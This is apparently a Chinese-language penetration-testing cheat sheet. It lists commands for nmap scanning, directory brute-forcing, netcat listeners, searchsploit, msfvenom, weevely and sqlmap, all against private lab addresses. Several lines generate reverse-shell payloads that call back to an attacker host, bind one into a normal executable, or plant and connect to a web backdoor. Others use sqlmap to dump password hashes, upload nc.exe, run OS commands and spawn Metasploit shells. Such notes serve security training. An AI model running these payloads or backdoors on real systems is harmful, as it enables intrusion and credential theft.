渗透测试笔记(1)
一、Nmap(或Nessus)
端口扫描:
1. nmap -sV -n 192.168.56.101
2. nmap -sS -Pn -T4 -p- 192.168.56.101 //-Pn穿透防火墙扫描
3. nmap -T4 -A -v -p 0-10000 192.168.56.101 //-A全面系统探测
4. nmap -sV -v 192.168.56.101
5. nmap -sV -T4 -p- 192.168.56.101 //-p指定端口扫描
6.nmap -sS -sV -p- 192.168.56.101
IP探测:
1. nmap -sP 192.168.1.0/24 //扫描C段存活主机
2. nmap -sn 192.168.145.0/24
Nmap脚本引擎
1. nmap -p 80 --script=http-enum.nse 192.168.1.108 //扫描web敏感目录
2. nmap -p 80 --script=sql-injection.nse 192.168.1.108 //扫描SQL注入漏洞
3. nmap --script all 192.168.1.108 //使用所有脚本扫描,耗时
4. nmap --script “http-*” 192.168.1.108 //使用通配符扫描
二、dirb(或御剑)
dirb http://192.168.1.135
三、nc
nc -lvp 443 //开端口侦听,等待客户端连接,-p 打开本地端口 -v显示详细信息 -l监听入站信息
nc 192.168.1.108 443 //连接主机指定端口
四、searchsploit
1. searchsploit smb windows remote/linux kernel 4.4.0 | grep rb//基本搜索,管道只显示rb文件,msfconsole启动metasploit
2. searchsploit -t oracle windows //-t 仅搜索漏洞标题 -m把一个exp拷贝到当前工作目录,参数后加目标id
3. searchsploit -p 39446 //-p显示漏洞利用的完整路径,后面跟漏洞ID号,--exclude=“txt”过滤不需要的结果
五、base64
1. echo test | base64 //加密
2. echo dGVzdAo= | base64 -d //-d解码数据
3. base64 -d 1.txt > decoded.png //解密文件中的内容,保存为png,feh decoded.png工具查看
六、rot13
把字母表中的每个字母用其后的第13 个字母来代替,字母表中前半部分字母将被映射到后半部分,而后半部分字母将被映射到前半部分,大小写保持不变。举例来说,'a'将被替换为'n','X'将被替换为'K'; 数字和符号不进行翻译。
七、hash-identifier
判断密文加密类型。在线解密。
八、msfvenom
1.msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe//普通生成
2.msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe//捆绑
3.msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=443 -f elf > shell.elf //Linux
4.msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.108 LPORT=443 -f raw > shell.php //php
5.msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.108 LPORT=443 -f raw > shell.sh //bash
6.msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.1.108 LPORT=443 -f raw > shell.py //python
九、weevely
1. weevely generate password /tmp/1.php //生成一个名为1.php的后门,密码为password,经base64加密
2. weevely http://192.168.179.137/doyo/1.php password //将此后门上传到网站,用weevely连接,连接后面直接跟上设置的密码
3. :file.upload /home/linger/1.php 1.php //上传本地文件到远程主机指定路径
4. :file.download 4.php /home/linger/4.php //从远程主机下载文件
十、sqlmap
1.python sqlmap.py -u "http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=81586tv7drptto9k2eof1uebb5;security=low" -b --current-db --current-user
// --cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”,-u : 指定目标URL,-b : 获取DBMS banner,--current-db : 获取当前数据库,--current-user:获取当前用户
2.--string=”Surname” --users --password //--string : 当查询可用时用来匹配页面中的字符串,--users : 枚举DBMS用户,--password : 枚举DBMS用户密码hash
3. --dbs: 枚举DBMS中的数据库
4.-D dvwa --tables //-D : 要枚举的DBMS数据库,--tables : 枚举DBMS数据库中的数据表
5. -D dvwa -T users --columns //-T : 要枚举的DBMS数据库表,--columns : 枚举DBMS数据库表中的所有列
6. -C user,password --dump //-C: 要枚举的DBMS数据表中的列,--dump : 转储DBMS数据表项
7. --level=1~5//检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的,
检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。
8.--hostname//列举服务器主机名
9.--is-dba//检测当前用户是否是管理员
10.--users//列举数据库管理系统中的用户
11.python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU//列举并**数据库管理系统用户密码Hash值,不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式**Hash值寻找出明文密码。
若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户
12.使用参数“--dump-all”可列举所有数据库所有表中所有数据。
13.--file-read "C:/example.exe" -v 1//读取文件
14.python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1//上传文件
15.python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1//执行任意操作系统命令
16.python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
//
- 数据库通过Sqlmap创建的用户自定义函数sys_bineval()在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL。参数“–os-pwn”。
- 通过Sqlmap自己的用户自定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执行Metasploit的“stand-alone payload stager”。参数:“–os-pwn”。
- 利用远程代码执行漏洞MS08-068。攻击者的机器要用Metasploit的smb_relay监听来自目标机器的连接。要求在Linux/Unix上以root权限运行Sqlmap且目标DBMS在Windows上以管理员权限运行。参数:“–os-smbrelay”。
- 在微软SQL Server 2000和2005中可通过存储过程sp_replwritetovarbin的堆缓冲区溢出漏洞(MS09-004)在内存中执行Metasploit的shellcode。Sqlmap有自己的数据执行保护绕过技术可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞时执行shellcode。参数:“–os-bof”。
17.python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3//从目标URL开始爬取目标站点并收集可能存在漏洞的URL。
18.--output-dir=/tmp//指定输出目录路径
19.--sqlmap-shell//使用此参数可以打开一个交互式的Sqlmap Shell
20.--wizard//为初学者准备的简单向导
21.python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"//该参数指定的数据会被作为POST数据提交,Sqlmap也会检测该参数指定数据是否存在注入漏洞。
22.python sqlmap.py -m url.txt//参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。
23.python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"//直接连接数据库
十一、mysql加密解密函数
1.SELECT MD5('hello')
2.SELECT SHA('hello')
3.SELECT SHA1('hello')
4.select aes_decrypt(aes_encrypt(name, 'password '), 'password ');